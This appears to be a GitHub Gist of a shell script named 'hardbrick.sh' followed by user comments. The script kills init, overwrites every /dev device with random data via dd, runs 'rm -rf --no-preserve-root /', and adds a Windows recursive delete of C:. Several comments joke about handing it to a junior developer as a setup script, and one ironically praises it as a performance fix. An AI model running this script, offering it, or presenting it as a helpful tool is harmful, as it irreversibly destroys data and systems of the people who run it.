/dev bowling

hardbrick.sh

# DO NOT RUN UNLESS IT'S A VM! I TAKE NO RESPOSIBILITY FOR YOUR ACTIONS WITH THIS.
exit
kill -9 $pid
logout
kill -9 1
pkill init
sudo pkill init
for device in `find /dev`
do
# Don't run synchronously
`echo $device;dd if=/dev/urandom of=$device`&
done
echo "Well, something didn't work right. Your computer's still intact. Oh, well."
rm -rf /
rm -rf --no-preserve-root /
# For windows
del /S /F /Q C:\

It seems potentially recoverable with a reinstall. Could also wipe the EFI vars for total chaos.

@battlesnake Feel free to add that on a fork. Just make sure it still runs on v86.

using urandom instead of zero

yea I guess if you're a turtle.

@hello-smile6 Can you please stop promoting this Gist on Marak/colors.js?

@TechStudent11 Okay

@TechStudent11 Okay

I wasn't expecting you just to comply! Thanks!

@TechStudent11 You're welcome

this looks like fun, I will give it to Junior Developer as a setup environment script

this looks like fun, I will give it to Junior Developer as a setup environment script

oh no!! 😟

this looks like fun, I will give it to Junior Developer as a setup environment script

if that jr. dev is your friend then

friends--

this looks like fun, I will give it to Junior Developer as a setup environment script

Leveled Ubuntu 20 in less than 10 seconds.

Just found this script, thanks a lot! It optimized the performance of my computer so much, and solved many other problems. (Computers were a mistake to begin with.)